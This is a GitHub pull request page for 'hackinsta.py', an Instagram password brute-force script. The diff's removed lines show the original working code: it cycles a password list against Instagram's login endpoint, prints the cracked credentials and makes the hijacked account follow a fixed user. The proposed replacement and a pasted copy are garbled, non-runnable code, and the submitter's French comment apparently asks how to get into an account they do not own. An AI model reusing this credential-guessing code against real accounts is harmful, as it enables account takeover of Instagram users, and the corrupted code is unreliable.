Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update hackinsta.py #15

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update hackinsta.py #15

wants to merge 1 commit into from

Conversation

Vida666
Copy link

@Vida666 Vida666 commented Mar 20, 2022

No description provided.

Copy link

@IKRMAM IKRMAM left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instagram
import 5 heures
import time
import os

filename = Instagram
if os.path.isfile(nur.hh):Instagram
with open(nur.hh) as f: Instagram
passwords = f.read splitlines
if (len)> 0):
print ('%s Passwords loads successfully' %
else:
print ('Please create passwords file
exit

def nur.hh(@nur.hh):
r = requests.get('https://www.instagram.com//%s/?__a=1' % nur.hh)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(instagram)
fUserID = followdata['instagram']['id']
return {'nur.hh':nur.hh'id':fUserID}

def Login(nur.hh):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com/',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com/',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})

#first time -> to get csrftoken
r = sess.get('https://www.instagram.com//') 
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'nur.hh ':nur.hh 'stome1000':stome1000}
r = [sess.post](http://sess.post/)('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
	print (data['message'])
	return False

if (data['authenticated'] == True):
	return sess #if we want to keep use session
else:
	print [%s]' % 
	return False

def follow(sess, nur.hh):
nur.hh = nur.hh(@nur.hh)
if (nur.hh == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (instagram)

nur.hh = str(input('Please
nur.hh = nur.hh)(nur.hh)
if (@nur.hh == False):
exit()
else:
nur.hh= nur.hh['nur.hh']

delayLoop = int(input('Please add delay between stome1000 (30 seconds): '))

for i in range(len(stome1000):
stome1000 = stome1000[i]
sess = Login(nur.hh,stome1000)
if (sess):
print ('Login success %s' % [nur.hh,])

	#because i am cool
	follow(sess,'avr_amit')

try:
	time.sleep(delayLoop)
except KeyboardInterrupt: 
	an = str(input('Type y/n to exit: '))
	if (an == 'y'):
		exit()
	else:
		continue

Copy link

@IKRMAM IKRMAM left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

diff --git a/hackinsta.py b/hackinsta.py
index 128bb1e..f43f1cb 100644
--- a/hackinsta.py
+++ b/hackinsta.py
@@ -1,33 +1,33 @@
-import requests
-import json
-import time
+Instagram
+import 5 heures
+import time
import os

-filename = 'pass.txt'
-if os.path.isfile(filename):

  • with open(filename) as f:
  •   passwords = f.read().splitlines()
    
  •   if (len(passwords) > 0):
    
  •   	print ('%s Passwords loads successfully' % len(passwords))
    

+filename = Instagram
+if os.path.isfile(nur.hh):Instagram

  • with open(nur.hh) as f: Instagram
  •   passwords = f.read(stome100).splitlines(stome100)
    
  •   if (len(stome1000) > 0):
    
  •   	print ('%s Passwords loads successfully' % len(stome1000))
    

else:

  • print ('Please create passwords file (pass.txt)')
  • exit()
  • print ('Please create passwords file (stome1000)')
  • exit(stome1000)

-def userExists(username):

  •   followdata = json.loads(r.text)
    
  •   fUserID = followdata['user']['id']
    
  •   return {'username':username,'id':fUserID}
    
  •   followdata = json.loads(instagram)
    
  •   fUserID = followdata['instagram']['id']
    
  •   return {'nur.hh':nur.hh'id':fUserID}
    

-def Login(username,password):
+def Login(nur.hh,stome1000):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
@@ -49,7 +49,7 @@ def Login(username,password):
r = sess.get('https://www.instagram.com//')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

  • data = {'username':username, 'password':password}
  • data = {'nur.hh ':nur.hh 'stome1000':stome1000}
    r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
    token = r.cookies.get_dict()['csrftoken']
    sess.headers.update({'X-CSRFToken' : token})
    @@ -62,45 +62,45 @@ def Login(username,password):
    if (data['authenticated'] == True):
    return sess #if we want to keep use session
    else:
  •   print ('Password incorrect [%s]' % password)
    
  •   print ('stome1000') [%s]' % ( stome1000 )
      return False
    

-def follow(sess, username):

  • username = userExists(username)
  • if (username == False):
    +def follow(sess, nur.hh):
  • nur.hh = nur.hh(@nur.hh)
  • if (nur.hh == False):
    return
    else:
  •   userID = username['id']
    
  •   userID = nur.hh['id']
      followReq = [sess.post](http://sess.post/)('https://www.instagram.com/web/friendships/%s/follow/' % userID)
    
  •   print (followReq.text)
    
  •   print (instagram)
    

-username = str(input('Please enter a username: '))
-username = userExists(username)
-if (username == False):
+nur.hh = str(input('Please
+nur.hh = nur.hh)(nur.hh)
+if (@nur.hh == False):
exit()
else:

  • username = username['username']
  • nur.hh= nur.hh['nur.hh']

-delayLoop = int(input('Please add delay between the passwords (in seconds): '))
+delayLoop = int(input('Please add delay between stome1000 (30 seconds): '))

-for i in range(len(passwords)):

  • password = passwords[i]
  • sess = Login(username,password)
    +for i in range(len(stome1000):
  • stome1000 = stome1000[i]
  • sess = Login(nur.hh,stome1000)
    if (sess):
  •   print ('Login success %s' % [username,password])
    
  •   print ('Login success %s' % [nur.hh,stome1000])
    
      #because i am cool
      follow(sess,'avr_amit')
    

    try:
    time.sleep(delayLoop)

  • except KeyboardInterrupt:
  • except KeyboardInterrupt:
    an = str(input('Type y/n to exit: '))
    if (an == 'y'):
    exit()

@Vida666
Copy link
Author

Vida666 commented Mar 20, 2022

Aucune description fournie.

Bonsoir je n ai pas l id ... et je ne sais pas comment accéder au compte ... merci

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants